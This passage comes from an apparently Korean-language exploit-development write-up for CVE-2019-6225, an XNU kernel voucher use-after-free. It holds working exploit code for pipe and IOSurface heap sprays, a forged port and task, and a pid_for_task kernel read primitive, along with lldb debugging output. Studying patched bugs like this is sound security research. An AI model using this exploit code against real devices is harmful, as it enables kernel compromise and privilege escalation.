voucher;\n 2657: \n 2658: \t__DeclareRcvRpc(3625, "thread_get_mach_voucher")\n 2659: \t__BeforeRcvRpc(3625, "thread_get_mach_voucher")\n 2660: \n 2661: #if\tdefined(__MIG_check__Request__thread_get_mach_voucher_t__defined)\n 2662: \tcheck_result = __MIG_check__Request__thread_get_mach_voucher_t((__Request *)In0P);\n 2663: \tif (check_result != MACH_MSG_SUCCESS)\n 2664: \t\t{ MIG_RETURN_ERROR(OutP, check_result); }\n 2665: #endif\t\/* defined(__MIG_check__Request__thread_get_mach_voucher_t__defined) *\/\n 2666: \n 2667: #if\tUseStaticTemplates\n 2668: \tOutP->voucher = voucherTemplate;\n 2669: #else\t\/* UseStaticTemplates *\/\n 2670: #if __MigKernelSpecificCode\n 2671: \tOutP->voucher.disposition = 17;\n 2672: #else\n 2673: \tOutP->voucher.disposition = 19;\n 2674: #endif \/* __MigKernelSpecificCode *\/\n 2675: #if !(defined(KERNEL) && defined(__LP64__))\n 2676: \tOutP->voucher.pad1 = 0;\n 2677: #endif\n 2678: \tOutP->voucher.pad2 = 0;\n 2679: \tOutP->voucher.type = MACH_MSG_PORT_DESCRIPTOR;\n 2680: #if defined(KERNEL)\n 2681: \tOutP->voucher.pad_end = 0;\n 2682: #endif\n 2683: #endif\t\/* UseStaticTemplates *\/\n 2684: \n 2685: \n 2686: \tthr_act = convert_port_to_thread(In0P->Head.msgh_request_port);\n 2687: \n 2688: \tRetCode = thread_get_mach_voucher(thr_act, In0P->which, &voucher);\n 2689: \tthread_deallocate(thr_act);\n 2690: \tif (RetCode != KERN_SUCCESS) {\n 2691: \t\tMIG_RETURN_ERROR(OutP, RetCode);\n 2692: \t}\n 2693: #if\t__MigKernelSpecificCode\n 2694: #endif \/* __MigKernelSpecificCode *\/\n 2695: \tOutP->voucher.name = (mach_port_t)convert_voucher_to_port(voucher);\n 2696: \n 2697: \n 2698: \tOutP->Head.msgh_bits |= MACH_MSGH_BITS_COMPLEX;\n 2699: \tOutP->Head.msgh_size = (mach_msg_size_t)(sizeof(Reply));\n 2700: \tOutP->msgh_body.msgh_descriptor_count = 1;\n 2701: \t__AfterRcvRpc(3625, "thread_get_mach_voucher")\n 2702: }\n<\/code><\/pre>\nthread_get_mach_voucher<\/code> \ud568\uc218\uc5d0 \ube0c\ub808\uc774\ud06c\ud3ec\uc778\ud2b8\ub97c \uac78\uc5b4 \ud655\uc778\ud574\ubcf4\uba74,\nthread->ith_voucher<\/code>\ub294 0xffffff8026187d70\ub97c \uac00\ub9ac\ud0a4\uba70,\n\uc2a4\ud504\ub808\uc774\uc5d0 \uc758\ud574 \uc870\uc791\ub41c iv_refs=100\uc774 \ub4e4\uc5b4\uac00\uc788\uace0, iv_port\ub294 NULL\uc778 \uc0c1\ud0dc\ub85c \uc720\ud6a8\ud558\uc9c0 \uc54a\ub2e4.<\/strong><\/p>\n(lldb) b *0xffffff8019de5560\nBreakpoint 1: where = kernel`thread_get_mach_voucher at thread.c:3044, address = 0xffffff8019de5560\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, stop reason = signal SIGTRAP\n frame #0: 0xffffff8019eda180 kernel`machine_idle at pmCPU.c:174:3 [opt]\nTarget 0: (kernel) stopped.\n(lldb) c\nProcess 1 resuming\nProcess 1 stopped\n* thread #1, stop reason = breakpoint 1.1\n frame #0: 0xffffff8019de5560 kernel`thread_get_mach_voucher(thread=0xffffff8024395370, which=2137391104, voucherp=0xffffff807a8f3d60) at thread.c:3044 [opt]\nTarget 0: (kernel) stopped.\n(lldb) p *(thread_act_t)$rdi\n(thread) $2 = {\n...\n **ith_voucher = 0xffffff8026187d70**\n...\n}\n**(lldb) p *(ipc_voucher_t)0xffffff8026187d70**\n(ipc_voucher) $3 = {\n iv_hash = 0\n iv_sum = 0\n iv_refs = (ref_count = 100)\n iv_table_size = 0\n iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n iv_table = 0x0000000000000000\n iv_port = NULL\n iv_hash_link = {\n next = NULL\n prev = NULL\n }\n}\n<\/code><\/pre>\nthread_get_mach_voucher<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud55c \uc774\ud6c4,\n0xffffff8026187d70 \uc8fc\uc18c\uc778 thread->ith_voucher<\/code> \uad6c\uc870\uccb4\ub97c \ub2e4\uc2dc \ud655\uc778\ud558\uba74\n\uc774\ubc88\uc5d0\ub294 iv_port \ucee4\ub110 \uc8fc\uc18c\uac00 \uc368\uc9c4 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4.<\/strong><\/p>\n**(lldb) p *(ipc_voucher_t)0xffffff8026187d70**\n(ipc_voucher) $4 = {\n iv_hash = 0\n iv_sum = 0\n iv_refs = (ref_count = 101)\n iv_table_size = 0\n iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n iv_table = 0x0000000000000000\n **iv_port = 0xffffff802a119110**\n iv_hash_link = {\n next = NULL\n prev = NULL\n }\n}\n(lldb) p *(ipc_port_t)0xffffff802a119110\n(ipc_port) $5 = {\n ip_object = {\n io_bits = 2147483685\n io_references = 3\n io_lock_data = (interlock = 0)\n }\n ip_messages = {\n data = {\n port = {\n waitq = {\n waitq_type = 2\n ...\n<\/code><\/pre>\n0xffffff8026187d70 \uc8fc\uc18c\uc758 iv_port\uac00 \uc368\uc9c4 \uc774\uc720\ub294 convert_voucher_to_port<\/code> \ud638\ucd9c \ud568\uc218\uc5d0 \uc788\ub2e4.<\/p>\n503\ubc88\uc9f8 \ub77c\uc778\uc5d0\uc11c \ucc98\uc74c\uc73c\ub85c \ud655\uc778\ub418\ub294 \uac83 \uc911 \ud558\ub098\ub294 \ubc14\uc6b0\ucc98\uac00 \uc62c\ubc14\ub978 \ucc38\uc870 \uce74\uc6b4\ud2b8\ub97c \uac00\uc9c0\uace0 \uc788\ub294\uc9c0 \uc5ec\ubd80\uc774\ub2e4. \uadf8 \ud6c4 507\ubc88\uc9f8 \ub77c\uc778\uc5d0\uc11c\ub294 \ubc14\uc6b0\ucc98\uc758 \ud3ec\ud2b8\uac00 \uc720\ud6a8\ud55c\uc9c0 \ud655\uc778\ud55c\ub2e4. \ub9cc\uc57d \uc720\ud6a8\ud558\uc9c0 \uc54a\uc73c\uba74, \uc0c8 \ud3ec\ud2b8\uac00 \ud560\ub2f9\ub41c\ub2e4.<\/strong><\/p>\n\uc774\ub294 \ud6cc\ub96d\ud55c\ub370, \uc65c\ub0d0\ud558\uba74 \uc6b0\ub9ac\uac00 \ud574\uc81c\ub41c \ubc14\uc6b0\ucc98\ub97c \ub300\uccb4\ud558\uae30 \uc704\ud574 \uac00\uc9dc \ubc14\uc6b0\ucc98\ub97c \ud560\ub2f9\ud560 \ub54c, iv_port<\/code> \ud3ec\uc778\ud130\ub97c NULL<\/code>\ub85c \uc720\uc9c0\ud55c\ub2e4\uba74, \uc2e4\uc81c\ub85c \uc0c8\ub85c \ud560\ub2f9\ub41c \ubc14\uc6b0\ucc98 \ud3ec\ud2b8(IKOT_VOUCHER<\/code>)\ub97c \ud574\ub2f9 \ubc14\uc6b0\ucc98\uc5d0 \ub300\ud574 \uc0ac\uc6a9\uc790 \uacf5\uac04\uc73c\ub85c \uac00\uc838\uc62c \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4. \uadf8\ub7f0 \ub2e4\uc74c ith_voucher->iv_port<\/code>\ub85c \uc774\ub97c \ucc38\uc870\ud560 \uc218 \uc788\uc73c\uba70, \uc774\ub294 \ubc14\uc6b0\ucc98\ub97c \ucd94\uac00\ub85c \uc870\uc791\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub2e4.<\/p>\n File: .\/osfmk\/ipc\/ipc_voucher.c\n 492: \/*\n 493: * \ubc14\uc6b0\ucc98\ub97c \ud3ec\ud2b8\ub85c \ubcc0\ud658\ud569\ub2c8\ub2e4.\n 494: *\/\n 495: ipc_port_t\n 496: convert_voucher_to_port(ipc_voucher_t voucher)\n 497: {\n 498: \tipc_port_t\tport, send;\n 499: \n 500: \tif (IV_NULL == voucher)\n 501: \t\treturn (IP_NULL);\n 502: \n 503: \tassert(os_ref_get_count(&voucher->iv_refs) > 0);\n 504: \n 505: \t\/* \ud544\uc694\ud55c \uacbd\uc6b0 \ud3ec\ud2b8\ub97c \uc0dd\uc131\ud569\ub2c8\ub2e4. *\/\n 506: \tport = voucher->iv_port;\n 507: \tif (!IP_VALID(port)) {\n 508: \t\tport = ipc_port_alloc_kernel(); \/\/\uc0c8\ub85c \ud560\ub2f9\ub428!!!!!!!!!!!!!\n 509: \t\tassert(IP_VALID(port));\n 510: \t\tipc_kobject_set_atomically(port, (ipc_kobject_t) voucher, IKOT_VOUCHER);\n 511: \n 512: \t\t\/* \uacbd\uc7c1\uc5d0\uc11c \uc9c0\uba74, \uba54\ubaa8\ub9ac\ub97c \ud574\uc81c\ud558\uace0 \ub2e4\ub978 \uc0ac\ub78c\uc758 \ud3ec\ud2b8\ub97c \uac00\uc838\uc635\ub2c8\ub2e4. *\/\n 513: \t\tif (!OSCompareAndSwapPtr(IP_NULL, port, &voucher->iv_port)) {\n 514: \t\t\tipc_port_dealloc_kernel(port);\n 515: \t\t\tport = voucher->iv_port;\n 516: \t\t\tassert(ip_kotype(port) == IKOT_VOUCHER);\n 517: \t\t\tassert(port->ip_kobject == (ipc_kobject_t)voucher);\n 518: \t\t}\n 519: \t}\n 520: \t\n<\/code><\/pre>\n\uc5ec\uae30\uae4c\uc9c0 \uc624\uba74 \uc0c1\ud669\uc774 \uc88b\uc544 \ubcf4\uc778\ub2e4.\n\uc6b0\ub9ac\uc758 \ud3ec\ud2b8\uac00 \uc2e4\uc81c\ub85c \uc720\ud6a8\ud558\ub2e4\uba74, \uc774 \uc2dc\uc810\ubd80\ud130\ub294 100% \uc131\uacf5 \ud655\ub960\uc744 \uac00\uc9c8 \uac83\uc774\uba70, \uc704\ud5d8\ud55c \ubd80\ubd84\uc740 \ub05d\ub0ac\ub2e4.<\/p>\n
2. kread primitive \uad6c\ucd95 \uc900\ube44\ud558\uae30<\/h2>\nfakeport + faketask \ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774<\/h3>\n
\uba3c\uc800 pipe<\/code> \ud568\uc218\ub97c \uc0ac\uc6a9\ud574 \ud504\ub85c\uc138\uc2a4 \uac04 \ud1b5\uc2e0\uc6a9 \ud30c\uc774\ud504 \ud578\ub4e4 \uc30d(fds<\/code>)\uc744 \ud560\ub2f9\ud558\uae30 \uc704\ud574, 0x500\uac1c\uc758 \ud30c\uc774\ud504\ub97c \uc0dd\uc131\ud55c\ub2e4. \uc774\ub294 fake port\ub97c \uc4f0\uae30 \uc704\ud568\uc774\ub2e4.<\/p>\n \/\/ pipe preparation\n void *pipebuf = malloc(pagesize);\n bzero(pipebuf, pagesize);\n\n int *pipefds = NULL;\n int total_pipes = 0x500;\n size_t total_pipes_size = total_pipes * 2 * sizeof(int);\n pipefds = malloc(total_pipes_size);\n bzero(pipefds, total_pipes_size);\n for (size_t i = 0; i < total_pipes; i++) \n {\n \/* \n we arrange our pipes in pairs \n where pipe N is a read pipe, and \n pipe N+1 is the corresponding write pipe\n *\/\n pipefds[i * 2] = -1;\n pipefds[i * 2 + 1] = -1;\n \n int error = pipe(&pipefds[i * 2]);\n if (error != 0 ||\n pipefds[i * 2] < 0 ||\n pipefds[i * + 1] < 0)\n {\n close(pipefds[i * 2]);\n close(pipefds[i * 2 + 1]);\n\n total_pipes = i;\n break; \n }\n\n set_nonblock(pipefds[i * 2 + 1]);\n }\n INFO("total pipes created: %d\\n",total_pipes);\n \/\/\n<\/code><\/pre>\n\uc774\ud6c4 IOSurface \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 \ubfcc\ub9b4 fake voucher\ub97c \uc0dd\uc131\ud55c\ub2e4. iv_refs\ub294 200\uc774\uba70, iv_port \ud544\ub4dc\ub294 \uc608\uce21\ub418\ub294<\/strong> \ud30c\uc774\ud504\uc5d0 \uc368\ub454 \ud3ec\ud2b8 \ucee4\ub110\uc8fc\uc18c\ub97c \uc758\ubbf8\ud558\ub294\ub370, \ud658\uacbd\ub9c8\ub2e4 \uacf1\ud574\uc9c0\ub294 \uc218\uac00 \ub2ec\ub77c\uc9c8 \uc218 \uc788\ub2e4. \uc6d0\ubcf8 \uc775\uc2a4\ud50c\ub85c\uc787 \ucf54\ub4dc\uc5d0\uc11c\ub294 32(=0x20)\uc73c\ub85c \ub418\uc5b4\uc788\uc5c8\uc9c0\ub9cc, \ub0b4 \ud658\uacbd\uc5d0\uc11c\ub294 \ub354 \uba40\ub9ac \ub5a8\uc5b4\uc838\uc788\uc5c8\uae30\uc5d0 0x140\uc744 \uacf1\ud574\uc8fc\uc5b4\uc57c \ud588\ub2e4.<\/p>\n mach_port_t the_one = real_port_to_fake_voucher;\n uint64_t original_port_addr = target_voucher->iv_port;\n\n fake_ipc_voucher_t new_voucher = (fake_ipc_voucher_t)\n {\n .iv_refs = 200,\n .iv_port = (original_port_addr & ~(pagesize - 1)) + (pagesize * 0x140),\n };\n INFO("new port addr: 0x%llx\\n", new_voucher.iv_port);\n<\/code><\/pre>\n![\"image.png\"](\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/refs\/heads\/main\/CVE-2019-6225\/pics\/image%205.png\")
<\/p>\n
\ub2e4\uc74c\uc73c\ub85c, \ucee4\ub110 \ub0b4\uc758 \ud3ec\ud2b8 \ubc14\ub85c \ub4a4\uc5d0 \ud0dc\uc2a4\ud06c \uad6c\uc870\uccb4\ub97c \ub2f4\uc744 \uc218 \uc788\ub3c4\ub85d \uc5f0\uc18d\ub41c \uc601\uc5ed\uc744 \ud560\ub2f9\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n
\uc704\uc870\uc2dc\ud0a8 fakeport\uc640 faketask \ub370\uc774\ud130\ub4e4\uc744 pipebuf\uc5d0 \ubcf5\uc0ac\ud558\uace0, \ud30c\uc774\ud504\uc5d0 \uc4f4\ub2e4.<\/p>\n
\/* set up our fakeport for use later *\/\n kport_t *fakeport = NULL;\n fakeport = malloc(sizeof(kport_t));\n bzero((void *)fakeport, sizeof(kport_t));\n\n fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;\n fakeport->ip_references = 100;\n fakeport->ip_lock.type = 0x11;\n fakeport->ip_messages.port.receiver_name = 1;\n fakeport->ip_messages.port.msgcount = 0;\n fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();\n fakeport->ip_srights = 99;\n#define PIPEBUF_TASK_OFFSET 0x100\n fakeport->ip_kobject = new_voucher.iv_port + PIPEBUF_TASK_OFFSET; \/* place the task struct just after the kport *\/\n\n memcpy(pipebuf, (void *)fakeport, sizeof(kport_t));\n for (int i = 0; i < total_pipes; i++)\n {\n int wfd = pipefds[2 * i + 1];\n size_t written = write(wfd, pipebuf, pagesize - 1);\n \n if (written != pagesize - 1)\n {\n \/* failed to write, all our pipebuffers are full & we've run out of mem *\/ \n\n total_pipes = i;\n INFO("total_pipes is now: %d", total_pipes);\n break;\n }\n }\n<\/code><\/pre>\nfake new_voucher \uc2a4\ud504\ub808\uc774<\/h3>\n
\uc6b0\ub9ac\ub294 \ub2e4\uc2dc\ud55c\ubc88 OSUnserializeBinary XML Spraying \uc6d0\ub9ac\ub97c \uc774\uc6a9\ud558\uc5ec new_voucher \ub370\uc774\ud130\ub97c \uc7ac\ud560\ub2f9\uc2dc\ucf1c\uc900\ub2e4. \uae30\uc874\uc5d0 IOSurface_remove_value\ub85c \uc624\ubc84\ub7a9\ub41c \uc778\ub371\uc2a4(spray_index)\uc5d0 \ud574\ub2f9\ub418\ub294 fake voucher \ubaa8\uc778 \ud398\uc774\uc9c0 \uc9d1\ud569\ub4e4\uc744 free\uc2dc\ud0a4\uace0 \u201div_refs=200, iv_port=fake port \ub370\uc774\ud130\uac00 \uc801\ud78c \ud30c\uc774\ud504 \ud560\ub2f9 \uc608\uce21\uc8fc\uc18c\u201d \ub85c \uad6c\uc131\ub41c fake new_voucher<\/strong>\ub85c \uc7ac\ud560\ub2f9\uc2dc\ud0a8\ub2e4.<\/p>\n \/* we used this smaller dict later in order to reallocate our target OSString *\/\n int small_dictsz = (9 * sizeof(uint32_t)) + pagesize;\n uint32_t *dict_small = malloc(small_dictsz);\n bzero((void *)dict_small, small_dictsz);\n\n dict_small[0] = IOSurface_id;\n dict_small[1] = 0x0;\n dict_small[2] = kOSSerializeMagic; \n dict_small[3] = kOSSerializeEndCollection | kOSSerializeArray | 1;\n dict_small[4] = kOSSerializeEndCollection | kOSSerializeDictionary | 1;\n dict_small[5] = kOSSerializeSymbol | 5;\n dict_small[6] = transpose(spray_index); \/* Key *\/\n dict_small[7] = 0x0;\n dict_small[8] = kOSSerializeEndCollection | kOSSerializeString | (pagesize - 1);\n\n uint8_t *osstring_buf = (uint8_t *)dict_small + (9 * sizeof(uint32_t));\n \/* overwrite all the ports in the osstring *\/\n for (uintptr_t ptr = (uintptr_t)osstring_buf, end = ptr + pagesize;\n ptr + sizeof(fake_ipc_voucher_t) <= end;\n ptr += sizeof(fake_ipc_voucher_t))\n {\n bcopy((const void *)&new_voucher, (void *)ptr, sizeof(fake_ipc_voucher_t)); \n }\n\n INFO("realloc'ing...\\n");\n\n sched_yield();\n\n struct IOSurfaceValueArgs_string request = {\n .surface_id = IOSurface_id,\n ._out1 = 0x0,\n .string_data = transpose(spray_index),\n .null = 0\n }; \n ret = IOSurface_remove_value((struct IOSurfaceValueArgs *)&request, sizeof(request));\n if(ret == false) exit(1);\n\n ret = IOSurface_set_value(dict_small, small_dictsz);\n if(ret == false) exit(1);\n\n for (int i = 0; i < 0x10; i++)\n {\n if (i == spray_index) \n {\n continue;\n }\n\n dict_small[6] = transpose(i); \n\n ret = IOSurface_set_value(dict_small, small_dictsz);\n if(ret == false) exit(1);\n }\n<\/code><\/pre>\nthread_get_mach_voucher \ud568\uc218\ub85c \uc0ac\uc6a9\uc790 \uacf5\uac04\uc758 \ud3ec\ud2b8\ub97c \ub2e4\uc2dc \ubc1b\uc544\uc628\ub2e4. \uc774\uc804\uacfc\uc758 \ud3ec\ud2b8\uc640 \ub2ec\ub77c\uc84c\ub2e4\uba74, iv_port\uc5d0 fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \ud560\ub2f9\uc8fc\uc18c\ub85c \ub41c fake new_voucher\ub85c \uc7ac\ud560\ub2f9\ub410\ub2e4\ub294\uac83\uc744 \uc758\ubbf8\ud558\uba70\n\uc774\uc81c fakeport \ub610\ud55c pipe write\ub97c \ud1b5\ud574 \uc784\uc758\ub85c \uc870\uc791\ud560 \uc900\ube44\uac00 \ub410\ub2e4.<\/p>\n
mach_port_t old_real_port = real_port_to_fake_voucher;\n ret = thread_get_mach_voucher(mach_thread_self(), 0, &real_port_to_fake_voucher);\n if (ret != KERN_SUCCESS)\n {\n INFO("failed to call thread_get_mach_voucher: %x %s", ret, mach_error_string(ret)); exit(1);\n }\n\n INFO("old port: %x\\n", old_real_port);\n INFO("new port: %x\\n", real_port_to_fake_voucher);\n\n if (old_real_port == real_port_to_fake_voucher)\n {\n INFO("failed to get new port :(\\n"); exit(1);\n }\n\n the_one = real_port_to_fake_voucher;\n\n if (!MACH_PORT_VALID(the_one))\n {\n INFO("the_one is not valid :-( failed to realloc\\n"); exit(1);\n }\n\n INFO("WE REALLY TRAPPIN OUT HERE\\n");\n<\/code><\/pre>\n[*] port: 0x100707\n[*] WE REALLY POSTED UP ON THIS BLOCK -- part 1 of #alwaysstayposted\n[*] getting responses...\n[*] found voucher!! s: 502, j: 45\n[*] port: 0xffffff8031fddd88\n[*] refs: 101\np1_ipc_voucher (3): 0xffffff802ddcce10\n[*] total pipes created: 1280\n[*] new port addr: 0xffffff803211d000\n[*] realloc'ing...\n[*] old port: 100707\n[*] new port: e4b07\n[*] WE REALLY TRAPPIN OUT HERE\n\niv_port\uac00 fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0b4, fake new_voucher \uc7ac\ud560\ub2f9 \uc644\ub8cc.\n(lldb) p *(ipc_voucher_t)0xffffff802ddcce10\n(ipc_voucher) $3 = {\n iv_hash = 0\n iv_sum = 0\n iv_refs = (ref_count = 200)\n iv_table_size = 0\n iv_inline_table = ([0] = 0, [1] = 0, [2] = 0, [3] = 0, [4] = 0, [5] = 0, [6] = 0, [7] = 0)\n iv_table = 0x0000000000000000\n iv_port = **0xffffff803211d000 \/\/**fakeport\uac00 \uc801\ud78c \ud30c\uc774\ud504 \uc8fc\uc18c\n iv_hash_link = {\n next = nullptr\n prev = nullptr\n }\n}\n<\/code><\/pre>\nthread_get_mach_voucher<\/code> \ud568\uc218\ub97c \ud638\ucd9c\ud558\uba74\uc11c\nipc_object_copyin<\/code>(osfmk\/kern\/thread.c:3063)\n\u2192 ipc_right_copyin<\/code>(osfmk\/ipc\/ipc_object.c:517) \ud568\uc218\uc5d0\uc11c\nport->ip_srights++;<\/code> (osfmk\/ipc\/ipc_right.c:2008) \ucf54\ub4dc\uac00 \uc218\ud589\ub41c\ub2e4.<\/p>\nip_srights<\/code> \uac12\uc744 \ube44\uad50\ud558\uc5ec\n\uc5ec\ub7ec \ud30c\uc774\ud504\ub4e4 \uc911\uc5d0 fakeport(\uc989, \uc6b0\ub9ac\uc758 new fake_voucher \uc911 iv_port<\/code>\uc5d0 \uc18d\ud55c \ud30c\uc774\ud504) \uc778\ub371\uc2a4\ub97c \ud655\uc778\ud55c\ub2e4.<\/p>\n\/* find the index of the pipe buffer our fakeport overlapped with *\/\n int fakeport_pipe_index = 0;\n for (int i = 0; i < total_pipes; i++)\n {\n int rfd = pipefds[2 * i];\n size_t readsz = read(rfd, pipebuf, pagesize - 1);\n \n if (readsz != pagesize - 1)\n {\n INFO("failed to read idx %d\\n", i);\n continue;\n }\n\n kport_t *iter_port = (kport_t *)pipebuf;\n \n if (iter_port->ip_srights != fakeport->ip_srights)\n {\n INFO("found our fakeport: %d\\n", i);\n INFO("ip_srights: %d\\n", iter_port->ip_srights);\n fakeport_pipe_index = i;\n\n int wfd = pipefds[2 * i + 1];\n write(wfd, pipebuf, pagesize);\n \n break;\n }\n }\n\n if (fakeport_pipe_index == 0)\n {\n INFO("failed to find fakeport pipe idx\\n"); exit(1);\n }\n\n INFO("fakeport pipe index: %d\\n", fakeport_pipe_index);\n<\/code><\/pre>\n[*] found our fakeport: 255\n[*] ip_srights: 100\n[*] fakeport pipe index: 255\n<\/code><\/pre>\n\ud30c\uc774\ud504\uc5d0 \uc4f0\uc778 fakeport\ub97c \uc81c\uc5b4\ud558\uace0 pid_for_task \ud568\uc218\ub85c \ucee4\ub110 \uc77d\uae30<\/h3>\n
Mach API\uc778 pid_for_task<\/code> \ud568\uc218\ub294 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\uc758 \ud504\ub85c\uc138\uc2a4 pid\ub97c \ubc18\ud658\ud55c\ub2e4.<\/p>\n\uc5ec\uae30\uc11c get_bsdtask_info<\/code>\uac00 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\uc5d0\uc11c \ud638\ucd9c\ub418\uace0, \uadf8 \ud6c4 proc_pid<\/code>\uc5d0\uc11c \ubc18\ud658\ub41c pid\uac00 \uc0ac\uc6a9\uc790 \uc601\uc5ed\uc73c\ub85c \ubcf5\uc0ac\ub418\ub294 \uac83\uc744 \ubcfc \uc218 \uc788\ub2e4. \uc911\uc694\ud55c \uc810\uc740 \uc81c\uacf5\ub41c \uc791\uc5c5 \ud3ec\ud2b8\ub098 get_bsdtask_info<\/code>\uc5d0\uc11c \ubc18\ud658\ub41c \ud504\ub85c\uc138\uc2a4\uc5d0 \ub300\ud55c \uc720\ud6a8\uc131 \uac80\uc0ac\uac00 \uc218\ud589\ub418\uc9c0 \uc54a\ub294\ub2e4\ub294 \uc810\uc774\ub2e4.<\/p>\npid_for_task(\n\tstruct pid_for_task_args *args)\n{\n\tmach_port_name_t\tt = args->t;\n\tuser_addr_t\t\tpid_addr = args->pid;\n \n [...]\n\n\tt1 = port_name_to_task_inspect(t);\n\n [...]\n\n p = get_bsdtask_info(t1); \/* Get the bsd_info entry from the task *\/\n if (p) {\n pid = proc_pid(p); \/* Returns p->p_pid *\/\n err = KERN_SUCCESS; \n } [...]\n\n\t(void) copyout((char *) &pid, pid_addr, sizeof(int));\n\treturn(err);\n}\n<\/code><\/pre>\nget_bsdtask_info<\/code>\uc640 proc_pid<\/code> \ud568\uc218\ub97c \uc0b4\ud3b4\ubcf4\uaca0\ub2e4.<\/p>\n\ubcf8\uc9c8\uc801\uc73c\ub85c, \uc774 \ud638\ucd9c\uc744 \ud1b5\ud574 \uc6b0\ub9ac\ub294 task->bsd_info->p_pid<\/code> \uac12\uc744 \uac00\uc838\uc62c \uc218 \uc788\ub2e4. task<\/code> \uad6c\uc870\uccb4(\ud574\ub2f9 \uad6c\uc870\uccb4\ub294 \uc6b0\ub9ac\uc758 fakeport<\/code> \ub0b4\uc758 \ud544\ub4dc)\ub97c \uc81c\uc5b4\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc5d0, bsd_info<\/code>\uac00 \uac00\ub9ac\ud0a4\ub294 \uc8fc\uc18c\ub97c \uc644\uc804\ud788 \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4. \ub530\ub77c\uc11c bsd_info<\/code> \ud3ec\uc778\ud130\ub97c \uc870\uc791\ud568\uc73c\ub85c\uc368 32\ube44\ud2b8 \ucee4\ub110 \uc77d\uae30\uac00 \uac00\ub2a5\ud558\ub2e4. 64\ube44\ud2b8 \uac12\uc744 \uc77d\uc5b4\uc57c \ud55c\ub2e4\uba74, \ub450 \uac1c\uc758 \uc778\uc811\ud55c 32\ube44\ud2b8 \uc77d\uae30\ub97c \uc0ac\uc6a9\ud55c \ud6c4 \uac12\uc744 \uacb0\ud569\ud558\uc5ec \uad6c\ud558\uba74 \ub41c\ub2e4.<\/p>\nvoid *get_bsdtask_info(task_t t)\n{\n \/* mov rax, [t+380h] ... *\/\n return(t->bsd_info);\n}\n\nint\nproc_pid(proc_t p)\n{\n if (p != NULL)\n \/* mov eax, [p+60h] *\/\n return (p->p_pid);\n return -1;\n}\n<\/code><\/pre>\n\uc6b0\ub9ac\ub294 \uc774\ubbf8 fake port\ub97c \uc2a4\ud504\ub808\uc774\ud560\ub54c\nfake task\ub97c fake port\uc758 ip_kobject<\/code> \ud544\ub4dc\uc5d0 \ubc30\uce58\ud574\ub450\uc5c8\uace0(\uc815\ud655\ud788\ub294 fake port addr + 0x100<\/code> \uc704\uce58\uc784),\nfake port\uc758 ip_bits<\/code> \ud544\ub4dc\ub97c IO_BITS_ACTIVE | IKOT_TASK<\/code>\ub85c \uc124\uc815\ud574\ub450\uc5c8\ub2e4.<\/p>\nip_bits<\/code> \ud544\ub4dc\ub97c \ud574\ub2f9\uac12\uc73c\ub85c \uc9c0\uc815\ud55c \uc774\uc720\ub294 \uc6b0\ub9ac\uc758 ipc_port<\/code>\uac00 task\ub97c \ub098\ud0c0\ub0b4\ub294 \ud3ec\ud2b8\uc784\uc744 \ud45c\uc2dc\ud558\uba70, \uc774\ub97c \ud1b5\ud574 pid_for_task<\/code>\uc640 \uac19\uc740 \ud638\ucd9c\uc744 \uc0ac\uc6a9\ud560 \uc218 \uc788\uac8c \ud574\uc900\ub2e4.<\/p>\n \/* set up our fakeport for use later *\/\n kport_t *fakeport = NULL;\n fakeport = malloc(sizeof(kport_t));\n bzero((void *)fakeport, sizeof(kport_t));\n\n **fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;**\n fakeport->ip_references = 100;\n fakeport->ip_lock.type = 0x11;\n fakeport->ip_messages.port.receiver_name = 1;\n fakeport->ip_messages.port.msgcount = 0;\n fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;\n fakeport->ip_messages.port.waitq.flags = mach_port_waitq_flags();\n fakeport->ip_srights = 99;\n#define PIPEBUF_TASK_OFFSET 0x100\n **fakeport->ip_kobject = new_voucher.iv_port + PIPEBUF_TASK_OFFSET; \/* place the task struct just after the kport *\/**\n\n memcpy(pipebuf, (void *)fakeport, sizeof(kport_t));\n<\/code><\/pre>\n\uc774\uc81c \ub9c8\uc9c0\ub9c9\uc73c\ub85c \ucee4\ub110 \uc77d\uae30\ub97c \uc704\ud574 fake task \ub0b4\uc6a9\uc744 \uad6c\uc131\ud55c\ub2e4.\nref_count<\/code>\uac12\uc744 0xff\ub85c \ub9cc\ub4e0\ub2e4\uc74c,\nbsd_info<\/code> \uc8fc\uc18c\ub97c \uc81c\uc5b4\ud558\uc5ec \ud2b9\uc815 \ucee4\ub110 \uc8fc\uc18c\ub97c \uac00\ub9ac\ud0a4\uac8c \ub9cc\ub4e4\uc5b4 \ucee4\ub110 \uc77d\uae30 4\ubc14\uc774\ud2b8 \ub9e4\ud06c\ub85c\ub97c \uad6c\uc131\ud55c\ub2e4.<\/p>\n\ud604\uc7ac \uc77d\ud790 \ub300\uc0c1 \uc8fc\uc18c\uc778 original_port_addr<\/code> \uc8fc\uc18c\ub294 fake port\uc778 ipc_port<\/code> \uad6c\uc870\uccb4\uc774\uba70 ip_object->io_bit<\/code>\uc5d0 \ud574\ub2f9\ub41c\ub2e4. \uc77d\uc73c\uba74 IO_BITS_ACTIVE | IKOT_VOUCHER<\/code> \uac12\uc778 0x80000025<\/code>\uc774 